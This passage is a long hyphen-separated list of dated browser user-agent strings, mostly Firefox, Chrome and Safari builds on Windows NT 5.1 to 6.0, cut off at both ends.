Gecko/20100202 Firefox/3.5.8 GTB6 -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW; rv:1.9b4) Gecko/2008030714 Firefox/3.0b4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-CA; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.6 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.33 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.210.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.0 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.3 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.5 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.2 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.126 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.558.0 Safari/534.10 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.652.0 Safari/534.17 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.462.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.463.0 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.472.33 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/534.4 (KHTML, like Gecko) Chrome/6.0.481.0 Safari/534.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1b3pre) Gecko/20090105 Firefox/3.1b3pre -Mozilla/5.0 (Windows; U; Windows NT 5.2; eu) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 3.0.04506.648) -Mozilla/5.0 (Windows; U; Windows NT 5.2; fr; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; nl; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.1.5) Gecko/Firefox/3.5.5 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20091111 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.2) Gecko/20100101 Firefox/3.6 -Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-TW; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0 (x86_64); de-DE) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre -Mozilla/5.0 (Windows; U; Windows NT 6.0; bg; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; ca; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; cs; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-AT; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 (.NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.0 (.NET CLR 3.0.30618) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; de; rv:1.9b5) Gecko/2008032620 Firefox/3.0b5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.19) Gecko/2010031422 Firefox/3.0.19 (.NET CLR 3.5.30729) FirePHP/0.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 GTB5 (.NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.10) Gecko/20100504 Firefox/3.5.10 GTB7.0 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 ( .NET CLR 3.5.30729; .NET CLR 4.0.20506) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.27 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.30 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.6 Safari/525.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.151.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.152.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.2.153.0 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.4.154.31 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.42 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.46 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.50 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.59 Safari/525.19 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.10 (KHTML, like Gecko) Chrome/2.0.157.2 Safari/528.10 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.11 (KHTML, like Gecko) Chrome/2.0.157.0 Safari/528.11 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.160.0 Safari/530.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.162.0 Safari/530.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.164.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.1 (KHTML, like Gecko) Chrome/2.0.168.0 Safari/530.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.171.0 Safari/530.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.2 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.23 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.39 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.40 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.173.1 Safari/530.5 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/530.7 (KHTML, like Gecko) Chrome/2.0.176.0 Safari/530.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.0 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.17 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.20 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.198.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.2 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.7 Safari/532.0 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.220.1 Safari/532.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.221.6 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.0 Safari/532.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.224.2 Safari/532.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.241.0 Safari/532.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.5 Safari/533.2 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/533.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.127 Safari/533.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.8 (KHTML, like Gecko) Chrome/7.0.521.0 Safari/534.8 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.7.13) Gecko/20050610 K-Meleon/0.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.5.12 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727; .NET CLR 3.0.30618; .NET CLR 3.5.21022; .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 MRA 5.4 (build 02647) Firefox/3.5.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 (.NET CLR 3.5.30729) FirePHP/0.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b2) Gecko/20081127 Firefox/3.1b1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b3) Gecko/20090405 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.4) Gecko/20100527 Firefox/3.6.4 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.8) Gecko/20100722 BTRS86393 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C) -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9b3) Gecko/2008020514 Firefox/3.0b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 -Mozilla/5.0 (Windows; U; Windows NT 6.0; en-us) AppleWebKit/531.9 (KHTML, like Gecko) Version/4.0.3 Safari/531.9 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-AR; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB5 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-ES; rv:1.9.2) Gecko/20100115 Firefox/3.6 ( .NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-MX; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) -Mozilla/5.0 (Windows; U; Windows NT 6.0; es-es) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fi; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16 -Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 -Mozilla/5.0 (Windows; U; Windows NT 6.0; 